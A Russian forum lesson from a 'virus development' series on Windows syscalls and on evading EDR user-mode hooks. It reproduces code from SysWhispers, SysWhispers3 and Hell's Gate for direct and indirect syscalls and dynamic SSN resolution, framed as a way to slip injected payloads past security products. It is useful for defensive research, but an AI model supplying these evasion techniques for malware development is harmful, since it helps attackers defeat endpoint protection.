Уроки Разработка вирусов-28. Предельная техника. Разборка с сисколами


X-Shar

:)
Администрация
Регистрация
03.06.2012
Сообщения
6 094
Репутация
8 212
1696154850638.png


Что такое системные вызовы (Syscalls)

Системные вызовы Windows или syscalls служат интерфейсом для взаимодействия программ с системой, позволяя им запрашивать определенные услуги, такие как чтение или запись в файл, создание нового процесса или выделение памяти.

Помните из вводных модулей, что syscalls - это API, которые выполняют действия, когда вызывается функция WinAPI. Например, системный вызов NtAllocateVirtualMemory активируется при вызове функций WinAPI VirtualAlloc или VirtualAllocEx. Затем этот системный вызов перемещает параметры, предоставленные пользователем в предыдущем вызове функции, в ядро Windows, выполняет запрошенное действие и возвращает результат программе.

Все системные вызовы возвращают значение NTSTATUS, которое указывает код ошибки. STATUS_SUCCESS (ноль) возвращается, если системный вызов успешно выполняет операцию.

Большинство системных вызовов не документированы Microsoft, поэтому модули syscall будут ссылаться на приведенную ниже документацию.



Большинство системных вызовов экспортируется из DLL ntdll.dll.

Почему нужно использовать Syscalls


Использование системных вызовов обеспечивает низкоуровневый доступ к операционной системе, что может быть полезно для выполнения действий, которые недоступны или сложнее выполнять с помощью стандартных WinAPI. Например, системный вызов NtCreateUserProcess предоставляет дополнительные опции при создании процессов, которые WinAPI CreateProcess не может.

Кроме того, системные вызовы могут быть использованы для обхода хостовых решений по безопасности, о чем будет рассказано в этой статье.

Системные вызовы Zw против Nt

Существует два типа системных вызовов: те, что начинаются с Nt, и другие с Zw.

Системные вызовы NT - это основной интерфейс для программ в режиме пользователя. Это системные вызовы, которые обычно используют большинство программ Windows.

Системные вызовы Zw, с другой стороны, представляют собой низкоуровневый интерфейс в режиме ядра к операционной системе. Они обычно используются драйверами устройств и другим кодом в режиме ядра, которому требуется прямой доступ к функциональности операционной системы.

Подводя итог, системные вызовы Zw используются в режиме ядра при разработке драйверов устройств, в то время как системные вызовы Nt выполняются из программ в режиме пользователя. Хотя возможно использовать оба из программ в режиме пользователя и все равно получить одинаковый результат. Это можно заметить на приведенных ниже изображениях, где обе версии одного и того же системного вызова имеют один и тот же адрес функции.

1696155189569.png


Для простоты в этом курсе будут использоваться только системные вызовы Nt.

Номер службы системного вызова

У каждого системного вызова есть специальный номер системного вызова, который известен как номер системной службы или SSN. Эти номера системных вызовов используются ядром для различения системных вызовов между собой. Например, у системного вызова NtAllocateVirtualMemory будет SSN равный 24, тогда как у NtProtectVirtualMemory будет SSN равный 80, эти номера используются ядром для различения NtAllocateVirtualMemory от NtProtectVirtualMemory.

Разные SSN в зависимости от ОС

Важно знать, что SSN будут различаться в зависимости от ОС (например, Windows 10 против 11) и внутри самой версии (например, Windows 11 21h2 против Windows 11 22h2). Используя вышеупомянутый пример, NtAllocateVirtualMemory может иметь SSN равный 24 в одной версии Windows, тогда как в другой версии он будет 34. То же самое относится к NtProtectVirtualMemory, а также ко всем остальным системным вызовам.

Системные вызовы в памяти

Внутри машины SSN не являются абсолютно произвольными и имеют отношение друг к другу. Каждый номер системного вызова в памяти равен предыдущему SSN + 1. Например, SSN системного вызова B равен SSN системного вызова A плюс один. Это также верно, когда подходите к системному вызову с другой стороны, где SSN системного вызова C будет тем из системного вызова D минус один.

1696155335185.png


Это отношение показано на следующем изображении, где SSN ZwAxxessCheck равен 0, а SSN следующего системного вызова, NtWorkerFactoryWorkerReady, равен 1 и так далее.

Понимание того, что системные вызовы имеют отношение друг к другу, пригодится для обхода систем безопасности далее.

Структура системного вызова

Структура системного вызова, как правило, одинакова и будет выглядеть как показанный ниже фрагмент.

Код:
mov r10, rcx
mov eax, SSN
syscall

Например, NtAllocateVirtualMemory на 64-битной системе показан ниже.

1696155616473.png


И NtProtectVirtualMemory в качестве примера

1696155650283.png


Объяснение инструкций системного вызова

Первая строка системного вызова перемещает первое значение параметра, сохраненное в RCX, в регистр R10. Затем SSN системного вызова перемещается в регистр EAX. Наконец, выполняется специальная инструкция системного вызова.

Инструкции syscall на 64-битных системах или sysenter на 32-битных системах - это инструкции, которые инициируют системный вызов. Выполнение инструкции syscall приведет к тому, что программа передаст управление из режима пользователя в режим ядра. Затем ядро выполнит запрошенное действие и вернет управление программе в режиме пользователя по завершении.

Инструкции Test & Jne

Инструкции test и jne предназначены для целей WoW64, которые позволяют 32-битным процессам работать на 64-битной машине. Эти инструкции не влияют на поток выполнения, когда процесс является 64-битным процессом.

Не все NtAPI являются системными вызовами

Важно отметить, что хотя некоторые NtAPI возвращают NTSTATUS, они не обязательно являются системными вызовами. Эти NtAPI могут быть вместо этого функциями более низкого уровня, которые используются WinAPI или системными вызовами. Причина, по которой некоторые NtAPI не классифицируются как системные вызовы, заключается в их несоответствии структуре системного вызова, например, отсутствии номера системного вызова или отсутствии обычной инструкции mov r10, rcx в начале. Пример NtAPI, которые не являются системными вызовами, показан ниже.

LdrLoadDll - Это используется LoadLibrary WinAPI для загрузки образа в вызывающий процесс.

SystemFunction032 и SystemFunction033 - Эти NtAPI были представлены ранее и выполняют операции шифрования/дешифрования RC4.

RtlCreateProcessParametersEx - Это используется CreateProcess WinAPI для создания аргументов процесса.

Инструкции LdrLoadDll показаны ниже. Обратите внимание, как оно не соответствует типичной структуре системного вызова.

1696155777817.png


Syscalls - Перехват в пользовательском режиме

Введение


Решения по безопасности на стороне хоста часто используют перехват API на системных вызовах для анализа и мониторинга программ в реальном времени. Например, перехватывая системный вызов NtProtectVirtualMemory, решение безопасности может обнаружить более высокоуровневые вызовы WinAPI, такие как VirtualProtect, даже если они скрыты от таблицы адресов импорта бинарного файла. Кроме того, решения безопасности могут получить доступ к любому участку памяти, установленному как исполняемый, и сканировать его в поисках сигнатур. Перехватчики в пользовательском режиме обычно устанавливаются перед инструкцией системного вызова, которая является последним шагом для функции системного вызова в пользовательском режиме.

Перехватчики в режиме ядра могут быть реализованы после выполнения, после передачи управления ядру. Однако Windows Patch Guard и другие средства защиты делают сложной или даже невозможной задачу изменения памяти ядра сторонними приложениями. Установка перехватчиков в режиме ядра может также привести к проблемам стабильности и вызвать неожиданное поведение, поэтому она редко используется.

Пример подключения в пользовательском режиме


В этом разделе используется файл DLL, который при внедрении в процесс использует библиотеку Minhook для установки перехвата на NtProtectVirtualMemory с целью получения информации о действиях EDR относительно перехвата системного вызова. Установленный перехватчик обладает возможностью вывода содержимого памяти на экран в консоль, если он установлен как исполняемый (RX или RWX). Кроме того, процесс будет завершен, если обнаружена область памяти RWX.

Демонстрация перехвата EDR

Это просто демонстрация, как перехват NtProtectVirtualMemory может защитить от инъекции, код пока не приводится.
Рекомендую потренироваться самому.
Как устанавливать перехват можно почитать здесь:Уроки - Разработка вирусов-27.Кунгфу-2.Изучаем API Hooking


Этот раздел демонстрирует, как EDR может блокировать выполнение определенного полезного кода с помощью перехвата системного вызова. В этой демонстрации вредоносным бинарным файлом будет код внедрения APC (Уроки - Разработка вирусов-19.Изучаем технику APC Injection).

Запуск программы без перехвата NtProtectVirtualMemory.

1696156197335.png



Внедрение MalDevEdr.dll в ApcInjection.exe, с использованием Process Hacker. В MalDevEdr.dll установлен перехватчик NtProtectVirtualMemory.

1696156244517.png


DLL внедрена, и она обнаруживает RX (это связано с внедрением DLL).

1696156268017.png


При нажатии клавиши Enter в консоли ApcInjection.exe вызывается NtProtectVirtualMemory, устанавливая 0x0000025041080000 как память RWX, этот адрес памяти затем выводится на экран в консоль.

Выведенное содержимое - это полезная нагрузка Msfvenom calc.

1696156332738.png


Объяснение

Когда ApcInjection.exe использует VirtualProtect с аргументом PAGE_EXECUTE_READWRITE, он перехватывается MalDevEdr.dll. MalDevEdr.dll будет использовать базовый адрес, переданный VirtualProtect, для сброса содержимого этой области памяти. Так как область памяти изменяется на RWX, MalDevEdr.dll завершает программу и блокирует выполнение полезной нагрузки, чего не смог сделать Windows Defender Antivirus.

Этот концептуальный пример демонстрирует мощь перехвата API в обнаружении и мониторинге программы в реальном времени. В реальных условиях EDR обычно перехватывает более широкий диапазон системных вызовов, улучшая свою способность обнаруживать вредоносные действия.

Обход перехватчиков системных вызовов в пользовательском режиме

Использование системных вызовов напрямую
является одним из способов обхода перехватчиков в пользовательском режиме. Например, использование NtAllocateVirtualMemory вместо VirtualAlloc/Ex WinAPI при выделении памяти для полезной нагрузки. Есть несколько других способов, которыми системные вызовы могут быть вызваны незаметно:

Использование прямых системных вызовов.
Использование косвенных системных вызовов.
Снятие перехвата.

Прямые системные вызовы

Обход перехвата системных вызовов в пользовательском режиме можно достичь, получив версию функции системного вызова, записанную на языке ассемблера, и вызвав этот созданный системный вызов напрямую из файла ассемблера. Задача заключается в определении номера службы системного вызова (SSN), так как этот номер меняется от одной системы к другой. Чтобы преодолеть это, SSN может быть либо жестко закодирован в файле ассемблера, либо вычислен динамически во время выполнения.

Образец созданного системного вызова в файле ассемблера (.asm) представлен ниже.

Код:
NtAllocateVirtualMemory PROC
    mov r10, rcx
    mov eax, (ssn of NtAllocateVirtualMemory)
    syscall
    ret
NtAllocateVirtualMemory ENDP

NtProtectVirtualMemory PROC
    mov r10, rcx
    mov eax, (ssn of NtProtectVirtualMemory)
    syscall
    ret
NtProtectVirtualMemory ENDP

// другие системные вызовы...

Вместо вызова NtAllocateVirtualMemory с использованием GetProcAddress и GetModuleHandle, как это было сделано ранее в этом курсе, нижеследующую функцию ассемблера можно использовать для получения того же результата. Это исключает необходимость вызывать NtAllocateVirtualMemory из адресного пространства NTDLL, где установлены перехватчики, тем самым избегая этих перехватчиков.

Этот метод используется в инструментах, таких как и , обсуждение которых будет позже в этой статье.

Косвенные системные вызовы

Косвенные системные вызовы реализуются аналогично прямым системным вызовам, где файлы на языке ассемблера должны быть созданы вручную. Различие заключается в отсутствии инструкции системного вызова внутри функции на языке ассемблера, к которой вместо этого происходит переход.

Визуальное представление представлено ниже.

1696157916055.png


Функции на языке ассемблера для NtAllocateVirtualMemory и NtProtectVirtualMemory представлены ниже.

C:
NtAllocateVirtualMemory PROC
    mov r10, rcx
    mov eax, (ssn of NtAllocateVirtualMemory)
    jmp (address of a syscall instruction)
    ret
NtAllocateVirtualMemory ENDP

NtProtectVirtualMemory PROC
    mov r10, rcx
    mov eax, (ssn of NtProtectVirtualMemory)
    jmp (address of a syscall instruction)
    ret
NtProtectVirtualMemory ENDP

// другие системные вызовы...

Преимущества косвенных системных вызовов

Преимущество выполнения косвенных системных вызовов перед прямыми системными вызовами заключается в том, что решения безопасности будут искать системные вызовы, вызываемые из-за пределов адресного пространства NTDLL, и считать их подозрительными. С косвенными системными вызовами инструкция системного вызова выполняется из адресного пространства NTDLL, как это должно быть у нормальных системных вызовов. Поэтому косвенные системные вызовы более вероятно пройдут мимо решений безопасности, чем прямые системные вызовы.

Снятие перехвата

Снятие перехвата - это еще один способ обхода перехватчиков, при котором перехваченная библиотека NTDLL, загруженная в память, заменяется на версию без перехвата. Неперехваченная версия может быть получена из нескольких мест, но одним из общих подходов является ее загрузка непосредственно с диска. Таким образом, удаляются все перехватчики, размещенные в библиотеке NTDLL.

1696158546640.png



Прямой вызов системных вызовов при помощи

Введение

SysWhispers - это инструмент на питоне, который генерирует код на си и ассемблере, который позволяет обойти перехват системных вызовов через прямые системные вызовы. Существует несколько версий SysWhispers, имеющих разные функции. Различия между версиями будут рассмотрены в этом модуле.

SysWhispers:

SysWhispers создает заголовочные/ASM файлы имплантов для активации прямых системных вызовов на 64-битных системах. Он поддерживает системные вызовы от Windows XP до Windows 10 19042 (20H2). Поддерживаемые версии Windows ограничены, поскольку номер системного вызова (SSN) может изменяться с каждым обновлением Windows. Таким образом, прямая реализация системного вызова для конкретного системного вызова на Windows 10 1903 может быть несовместима с тем же системным вызовом на Windows 10 1909 и наоборот.

Поскольку одни и те же системные вызовы могут иметь разные SSN на разных версиях Windows, SysWhispers проверяет версию Windows целевой системы во время выполнения и вручную устанавливает SSN для соответствующей версии.

SysWhispers - Пример NtMapViewOfSection:

SysWhispers использует скрипт на Python для генерации двух файлов (пример). SSN берутся из и жестко кодируются в созданный файл сборки. Затем функции сборки определяют, какой SSN использовать.

Выходной пример SysWhispers:

Ниже приведены функции сборки, полученные при использовании SysWhispers для генерации прямых системных вызовов для NtMapViewOfSection.

Код:
// ...

NtMapViewOfSection PROC
    mov rax, gs:[60h]                             ; Load PEB into RAX.
NtMapViewOfSection_Check_X_X_XXXX:                ; Check major version.
    cmp dword ptr [rax+118h], 5
    je  NtMapViewOfSection_SystemCall_5_X_XXXX
    cmp dword ptr [rax+118h], 6
    je  NtMapViewOfSection_Check_6_X_XXXX
    cmp dword ptr [rax+118h], 10
    je  NtMapViewOfSection_Check_10_0_XXXX
    jmp NtMapViewOfSection_SystemCall_Unknown
NtMapViewOfSection_Check_6_X_XXXX:               ; Check minor version for Windows Vista/7/8.
    cmp dword ptr [rax+11ch], 0
    je  NtMapViewOfSection_Check_6_0_XXXX
    cmp dword ptr [rax+11ch], 1
    je  NtMapViewOfSection_Check_6_1_XXXX
    cmp dword ptr [rax+11ch], 2
    je  NtMapViewOfSection_SystemCall_6_2_XXXX
    cmp dword ptr [rax+11ch], 2
    je  NtMapViewOfSection_SystemCall_6_3_XXXX
    jmp NtMapViewOfSection_SystemCall_Unknown
NtMapViewOfSection_Check_6_0_XXXX:               ; Check build number for Windows Vista.
    cmp dword ptr [rax+120h], 6000
    je  NtMapViewOfSection_SystemCall_6_0_6000
    cmp dword ptr [rax+120h], 6001
    je  NtMapViewOfSection_SystemCall_6_0_6001
    cmp dword ptr [rax+120h], 6002
    je  NtMapViewOfSection_SystemCall_6_0_6002
    jmp NtMapViewOfSection_SystemCall_Unknown
NtMapViewOfSection_Check_6_1_XXXX:               ; Check build number for Windows 7.
    cmp dword ptr [rax+120h], 7600
    je  NtMapViewOfSection_SystemCall_6_1_7600
    cmp dword ptr [rax+120h], 7601
    je  NtMapViewOfSection_SystemCall_6_1_7601
    jmp NtMapViewOfSection_SystemCall_Unknown
NtMapViewOfSection_Check_10_0_XXXX:              ; Check build number for Windows 10.
    cmp dword ptr [rax+120h], 10240
    je  NtMapViewOfSection_SystemCall_10_0_10240
    cmp dword ptr [rax+120h], 10586
    je  NtMapViewOfSection_SystemCall_10_0_10586
    cmp dword ptr [rax+120h], 14393
    je  NtMapViewOfSection_SystemCall_10_0_14393
    cmp dword ptr [rax+120h], 15063
    je  NtMapViewOfSection_SystemCall_10_0_15063
    cmp dword ptr [rax+120h], 16299
    je  NtMapViewOfSection_SystemCall_10_0_16299
    cmp dword ptr [rax+120h], 17134
    je  NtMapViewOfSection_SystemCall_10_0_17134
    cmp dword ptr [rax+120h], 17763
    je  NtMapViewOfSection_SystemCall_10_0_17763
    cmp dword ptr [rax+120h], 18362
    je  NtMapViewOfSection_SystemCall_10_0_18362
    cmp dword ptr [rax+120h], 18363
    je  NtMapViewOfSection_SystemCall_10_0_18363
    jmp NtMapViewOfSection_SystemCall_Unknown
NtMapViewOfSection_SystemCall_5_X_XXXX:          ; Windows XP and Server 2003
    mov eax, 0025h
    jmp NtMapViewOfSection_Epilogue
NtMapViewOfSection_SystemCall_6_0_6000:          ; Windows Vista SP0
    mov eax, 0025h
    jmp NtMapViewOfSection_Epilogue
NtMapViewOfSection_SystemCall_6_0_6001:          ; Windows Vista SP1 and Server 2008 SP0
    mov eax, 0025h
    jmp NtMapViewOfSection_Epilogue
NtMapViewOfSection_SystemCall_6_0_6002:          ; Windows Vista SP2 and Server 2008 SP2
    mov eax, 0025h
    jmp NtMapViewOfSection_Epilogue
NtMapViewOfSection_SystemCall_6_1_7600:          ; Windows 7 SP0
    mov eax, 0025h
    jmp NtMapViewOfSection_Epilogue
NtMapViewOfSection_SystemCall_6_1_7601:          ; Windows 7 SP1 and Server 2008 R2 SP0
    mov eax, 0025h
    jmp NtMapViewOfSection_Epilogue
NtMapViewOfSection_SystemCall_6_2_XXXX:          ; Windows 8 and Server 2012
    mov eax, 0026h
    jmp NtMapViewOfSection_Epilogue
NtMapViewOfSection_SystemCall_6_3_XXXX:          ; Windows 8.1 and Server 2012 R2
    mov eax, 0027h
    jmp NtMapViewOfSection_Epilogue
NtMapViewOfSection_SystemCall_10_0_10240:        ; Windows 10.0.10240 (1507)
    mov eax, 0028h
    jmp NtMapViewOfSection_Epilogue
NtMapViewOfSection_SystemCall_10_0_10586:        ; Windows 10.0.10586 (1511)
    mov eax, 0028h
    jmp NtMapViewOfSection_Epilogue
NtMapViewOfSection_SystemCall_10_0_14393:        ; Windows 10.0.14393 (1607)
    mov eax, 0028h
    jmp NtMapViewOfSection_Epilogue
NtMapViewOfSection_SystemCall_10_0_15063:        ; Windows 10.0.15063 (1703)
    mov eax, 0028h
    jmp NtMapViewOfSection_Epilogue
NtMapViewOfSection_SystemCall_10_0_16299:        ; Windows 10.0.16299 (1709)
    mov eax, 0028h
    jmp NtMapViewOfSection_Epilogue
NtMapViewOfSection_SystemCall_10_0_17134:        ; Windows 10.0.17134 (1803)
    mov eax, 0028h
    jmp NtMapViewOfSection_Epilogue
NtMapViewOfSection_SystemCall_10_0_17763:        ; Windows 10.0.17763 (1809)
    mov eax, 0028h
    jmp NtMapViewOfSection_Epilogue
NtMapViewOfSection_SystemCall_10_0_18362:        ; Windows 10.0.18362 (1903)
    mov eax, 0028h
    jmp NtMapViewOfSection_Epilogue
NtMapViewOfSection_SystemCall_10_0_18363:        ; Windows 10.0.18363 (1909)
    mov eax, 0028h
    jmp NtMapViewOfSection_Epilogue
NtMapViewOfSection_SystemCall_Unknown:           ; Unknown/unsupported version.
    ret
NtMapViewOfSection_Epilogue:
    mov r10, rcx
    syscall
    ret
NtMapViewOfSection ENDP

// ...

Объяснение:

Структура PEB содержит три элемента, которые можно использовать для определения версии Windows OS:
  • OSBuildNumber
  • OSMajorVersion
  • OSMinorVersion
64-битные функции сборки, созданные SysWhispers, используют эти элементы для перехода на место, где находится правильный SSN в виде жестко закодированного значения. Используемая логика по сути представляет собой несколько if и else if утверждений. Например, если целевая машина - Windows 10 1809, то происходит следующая логика:
  • Поскольку основной элемент версии PEB равен 10, выполняется метка NtMapViewOfSection_Check_10_0_XXXX.
  • Эта метка затем проверяет номер сборки системы. В этом примере этот номер равен 1809, что заставляет его перейти на метку NtMapViewOfSection_SystemCall_10_0_17763.
  • Затем SSN устанавливается в 0028h.
  • Затем происходит финальный переход на метку NtMapViewOfSection_Epilogue, где выполняются оставшиеся инструкции системного вызова. Напомним, что функция системного вызова имеет следующий формат:
Код:
mov r10, rcx
mov eax, SSN
syscall
ret

SysWhispers2:

использует ту-же концепцию, что и его предыдущая версия, главное отличие заключается в том, что SysWhispers2 не требует от пользователя указания, какие версии Windows поддерживать в генераторе Python.

Это потому, что SysWhispers2 больше не полагается на Таблицу системных Вызовов Windows X86-64 для SSN, а вместо этого использует метод, называемый сортировка по адресу системного вызова. Этот метод исключает необходимость в ручном выборе SSN на этапе выполнения, что приводит к меньшему размеру оболочек системных вызовов.

Сортировка по адресу системного вызова:

Сортировка по адресу системного вызова - это метод для получения SSN системного вызова во время выполнения. Это делается путем поиска всех системных вызовов, начинающихся с Zw, затем сохранения их адреса в массиве и сортировки их в возрастающем порядке (от меньшего к большему адресу). SSN станет индексом системного вызова, сохраненного в массиве.

Реализация SysWhispers2:

Сортировка по адресу системного вызова осуществляется через функцию SW2_PopulateSyscallList Syswhispers2, которая извлекает базовый адрес NTDLL и его экспортный каталог. Используя эту информацию, она рассчитывает RVA экспортируемых функций (адреса, имена, порядок).

Далее SysWhispers2 проверяет имена экспортируемых функций на предмет префиксов с Zw. Эти имена функций хешируются и сохраняются в массиве вместе с их адресами. После этого SW2_PopulateSyscallList сортирует собранные адреса в возрастающем порядке.

Чтобы найти SSN системного вызова, функция SW2_GetSyscallNumber принимает хеш имени целевого системного вызова и возвращает индекс, где этот хеш системного вызова найден в массиве.
Значение индекса - это SSN системного вызова.

Визуальный пример реализации показан ниже.

1696159342645.png


SysWhispers3:

Помните, что системный вызов отвечает за изменение потока выполнения из режима пользователя в режим ядра. Легитимные инструкции системного вызова всегда должны выполняться из адресного пространства ntdll.dll. Поэтому, когда инструкция системного вызова включена в двоичный файл, как это было с SysWhispers и SysWhispers2, инструкция системного вызова происходит извне этого адресного пространства. Таким образом, двоичный файл, выполняющий инструкцию системного вызова, может быть индикатором злонамеренных намерений.

Обновления в Syswhispers3 можно найти в блоге . Ниже показана сводка изменений.

Сам исходник есть на гитхабе:

Изменения в SysWhispers3:

Вместо того чтобы напрямую вызывать инструкцию системного вызова из функций сборки, SysWhispers3 будет искать инструкцию системного вызова в адресном пространстве ntdll.dll, выполнять инструкцию прыжка туда и выполнять инструкцию системного вызова. Этот метод использует технику косвенного системного вызова.

Кроме того, Syswhispers3 поставляется с опцией jumper_randomized, которая будет выполнять прыжок к инструкции системного вызова, которая принадлежит случайной функции. Например, при вызове NtAllocateVirtualMemory с этой опцией инструкция системного вызова, к которой будет произведен прыжок, не принадлежит NtAllocateVirtualMemory в ntdll.dll. Вместо этого инструкция принадлежит другому системному вызову, такому как функция NtTestAlert.

Как и в предыдущей версии, Syswhispers3 использует метод сортировки по адресу системного вызова, чтобы найти системный вызов.

Выходной пример SysWhispers3:


SysWhispers3 используется для генерации заглушки вызова системного вызова для функции NtMapViewOfSection. Выход Syswhispers3 выглядит аналогично Syswhispers2 с основным отличием в дополнительных вызовах функций SW3_GetRandomSyscallAddress и SW3_GetSyscallNumber, которые показаны и объяснены ниже.

1696159802520.png


Модуль Syscalls-asm.x64.asm
C:
Syscalls-asm.x64.asm

.code

EXTERN SW3_GetSyscallNumber: PROC

EXTERN SW3_GetRandomSyscallAddress: PROC

NtMapViewOfSection PROC
    mov [rsp +8], rcx                      ; Сохранить регистры.
    mov [rsp+16], rdx
    mov [rsp+24], r8
    mov [rsp+32], r9
    sub rsp, 28h
    mov ecx, 01A80161Bh                     ; Загрузить хеш функции в ECX.
    call SW3_GetRandomSyscallAddress        ; Получить смещение системного вызова из другого API.
    mov r15, rax                            ; Сохранить адрес системного вызова {поскольку SW3_GetRandomSyscallAddress вернет адрес инструкции 'syscall' в регистре rax}
    mov ecx, 01A80161Bh                     ; Загрузить хеш функции снова в ECX (необязательно).
    call SW3_GetSyscallNumber               ; Преобразовать хеш функции в номер системного вызова. {Теперь, eax содержит SSN}
    add rsp, 28h
    mov rcx, [rsp+8]                        ; Восстановить регистры.
    mov rdx, [rsp+16]
    mov r8, [rsp+24]
    mov r9, [rsp+32]
    mov r10, rcx
    jmp r15                                 ; Перейти к -> Вызов системного вызова. {r15 - это адрес случайной инструкции 'syscall' в ntdll.dll}
NtMapViewOfSection ENDP

end

Модуль Syscalls.c

SW3_GetSyscallNumber и SW3_GetRandomSyscallAddress:


Функция SW3_GetSyscallNumber находит системный вызов, а SW3_GetRandomSyscallAddress извлекает адрес инструкции системного вызова случайного системного вызова внутри ntdll.dll, потому что была использована, опция jumper_randomized.

C:
EXTERN_C DWORD SW3_GetSyscallNumber(DWORD FunctionHash)
{
    // Ensure SW3_SyscallList is populated.
    if (!SW3_PopulateSyscallList()) return -1;

    for (DWORD i = 0; i < SW3_SyscallList.Count; i++)
    {
        if (FunctionHash == SW3_SyscallList.Entries[i].Hash)
        {
            return i;
        }
    }

    return -1;
}


EXTERN_C PVOID SW3_GetRandomSyscallAddress(DWORD FunctionHash)
{
    // Ensure SW3_SyscallList is populated.
    if (!SW3_PopulateSyscallList()) return NULL;

    DWORD index = ((DWORD) rand()) % SW3_SyscallList.Count;

    while (FunctionHash == SW3_SyscallList.Entries[index].Hash){
        // Spoofing the syscall return address
        index = ((DWORD) rand()) % SW3_SyscallList.Count;
    }
    return SW3_SyscallList.Entries[index].SyscallAddress;
}

Вызов системных вызовов при помощи Hell's Gate
Введение


Помните, что использование прямых системных вызовов (syscalls) — это способ обойти хуки в пользовательском режиме, выполняя сборку инструкций системного вызова вручную.

"Врата Ада" (Hell's Gate) - это другая техника, используемая для выполнения прямых системных вызовов. Читая ntdll.dll, "Врата Ада" могут динамически находить системные вызовы и затем выполнять их из двоичного кода.

Статья о "Вратах Ада" доступна

Как работают "Врата Ада"

В статье выше мы демонстрировали прямые системные вызовы с помощью SysWhispers. SSN был либо жёстко закодирован, либо найден с использованием метода сортировки по адресу системного вызова, чтобы определить SSN во время выполнения. "Врата Ада", с другой стороны, используют другой подход к поиску SSN.

Подход "Врат Ада" заключается в поиске SSN внутри опкодов перехваченного системного вызова, которые затем вызываются в его функциях сборки.

Разбор "Врат Ада"

Сложность кода требует разбиения объяснения на более мелкие подразделы для более лёгкого понимания.

Структура системного вызова

Код "Врат Ада" начинается с определения структуры VX_TABLE_ENTRY. Эта структура представляет собой системный вызов и содержит адрес, хеш-значение имени системного вызова и SSN. Структура показана ниже.

C:
typedef struct _VX_TABLE_ENTRY {
    PVOID   pAddress;             // Адрес функции системного вызова
    DWORD64 dwHash;               // Хеш-значение имени системного вызова
    WORD    wSystemCall;          // SSN системного вызова
} VX_TABLE_ENTRY, * PVX_TABLE_ENTRY;

Например, NtAllocateVirtualMemory будет представлен как VX_TABLE_ENTRY NtAllocateVirtualMemory.

Таблица системных вызовов

Используемые системные вызовы хранятся внутри другой структуры, VX_TABLE. Поскольку каждый элемент в VX_TABLE является системным вызовом, каждый элемент будет типа VX_TABLE_ENTRY.

C:
typedef struct _VX_TABLE {
    VX_TABLE_ENTRY NtAllocateVirtualMemory;
    VX_TABLE_ENTRY NtProtectVirtualMemory;
    VX_TABLE_ENTRY NtCreateThreadEx;
    VX_TABLE_ENTRY NtWaitForSingleObject;
} VX_TABLE, * PVX_TABLE;

Главная функция

Главная функция начинается с вызова функции RtlGetThreadEnvironmentBlock, которая используется для получения TEB. Это требуется для получения базового адреса ntdll.dll через PEB (помните, что PEB находится в TEB). Затем экспортный каталог ntdll.dll извлекается с использованием GetImageExportDirectory. Экспортный каталог находится путем анализа заголовков DOS и Nt, как было показано в предыдущих модулях.

Затем для каждого системного вызова элемент dwHash инициализируется (например, NtAllocateVirtualMemory.dwHash) его соответствующим хеш-значением. При каждой инициализации вызывается функция GetVxTableEntry, которая показана ниже. Функция разделена на несколько частей для упрощения процесса объяснения.

GetVxTableEntry - Часть 1
C:
BOOL GetVxTableEntry(PVOID pModuleBase, PIMAGE_EXPORT_DIRECTORY pImageExportDirectory, PVX_TABLE_ENTRY pVxTableEntry) {
    PDWORD pdwAddressOfFunctions    = (PDWORD)((PBYTE)pModuleBase + pImageExportDirectory->AddressOfFunctions);
    PDWORD pdwAddressOfNames        = (PDWORD)((PBYTE)pModuleBase + pImageExportDirectory->AddressOfNames);
    PWORD pwAddressOfNameOrdinales  = (PWORD)((PBYTE)pModuleBase + pImageExportDirectory->AddressOfNameOrdinals);

    for (WORD cx = 0; cx < pImageExportDirectory->NumberOfNames; cx++) {
        PCHAR pczFunctionName  = (PCHAR)((PBYTE)pModuleBase + pdwAddressOfNames[cx]);
        PVOID pFunctionAddress = (PBYTE)pModuleBase + pdwAddressOfFunctions[pwAddressOfNameOrdinales[cx]];

        if (djb2(pczFunctionName) == pVxTableEntry->dwHash) {
            pVxTableEntry->pAddress = pFunctionAddress;

            // ...
        }
    }

    return TRUE;
}

Первая часть функции ищет значение хеша Djb2, равное хешу системного вызова, pVxTableEntry->dwHash. Как только найдено совпадение, адрес системного вызова будет сохранен в pVxTableEntry->pAddress. Вторая часть функции — это место, где находится трюк "Врат Ада".

GetVxTableEntry - Часть 2
C:
            // Быстрый и грязный исправление в случае, если функция была перехвачена
            WORD cw = 0;
            while (TRUE) {
                // проверить, является ли это системным вызовом, в этом случае мы слишком далеко
                if (*((PBYTE)pFunctionAddress + cw) == 0x0f && *((PBYTE)pFunctionAddress + cw + 1) == 0x05)
                    return FALSE;

                // проверить, является ли это инструкцией возврата, в этом случае мы, вероятно, тоже слишком далеко
                if (*((PBYTE)pFunctionAddress + cw) == 0xc3)
                    return FALSE;

                // Первые опкоды должны быть:
                //    MOV R10, RCX
                //    MOV RCX, <системный вызов>
                if (*((PBYTE)pFunctionAddress + cw) == 0x4c
                    && *((PBYTE)pFunctionAddress + 1 + cw) == 0x8b
                    && *((PBYTE)pFunctionAddress + 2 + cw) == 0xd1
                    && *((PBYTE)pFunctionAddress + 3 + cw) == 0xb8
                    && *((PBYTE)pFunctionAddress + 6 + cw) == 0x00
                    && *((PBYTE)pFunctionAddress + 7 + cw) == 0x00) {
                    BYTE high = *((PBYTE)pFunctionAddress + 5 + cw);
                    BYTE low = *((PBYTE)pFunctionAddress + 4 + cw);
                    pVxTableEntry->wSystemCall = (high << 8) | low;
                    break;
                }

                cw++;
            };

Вторая часть начинается с цикла while после поиска адреса системного вызова, pFunctionAddress. Цикл while ищет байты 0x4c, 0x8b, 0xd1, 0xb8, которые являются опкодами для команд mov r10, rcx и mov rcx, ssn, являясь началом неизмененного системного вызова.

В случае, если системный вызов перехвачен, опкоды могут не совпадать из-за добавления хука безопасностными решениями до инструкции системного вызова. Чтобы устранить это, "Врата Ада" пытаются сопоставить опкоды, и если совпадение не найдено, переменная cw инкрементируется, что добавляет к адресу системного вызова на последующей итерации цикла. Этот процесс продолжается, перемещаясь на один байт за раз, пока не достигнуты инструкции mov r10, rcx и mov rcx, ssn. Ниже показано, как "Врата Ада" находят опкоды, переходя через хук.

1696161568162.png


Проверка границы

Чтобы предотвратить дальний поиск и получение различного SSN для другого системного вызова, в начале цикла while сделаны два условия для проверки инструкций системного вызова и возврата, расположенных в конце системного вызова. Если поиск достигает одной из этих инструкций и опкоды 0x4c, 0x8b, 0xd1, 0xb8 не были определены, поиск SSN не удастся.

C:
// проверить, является ли это системным вызовом, в этом случае мы слишком далеко
if (*((PBYTE)pFunctionAddress + cw) == 0x0f && *((PBYTE)pFunctionAddress + cw + 1) == 0x05)
    return FALSE;

// проверить, является ли это инструкцией возврата, в этом случае мы, вероятно, тоже слишком далеко
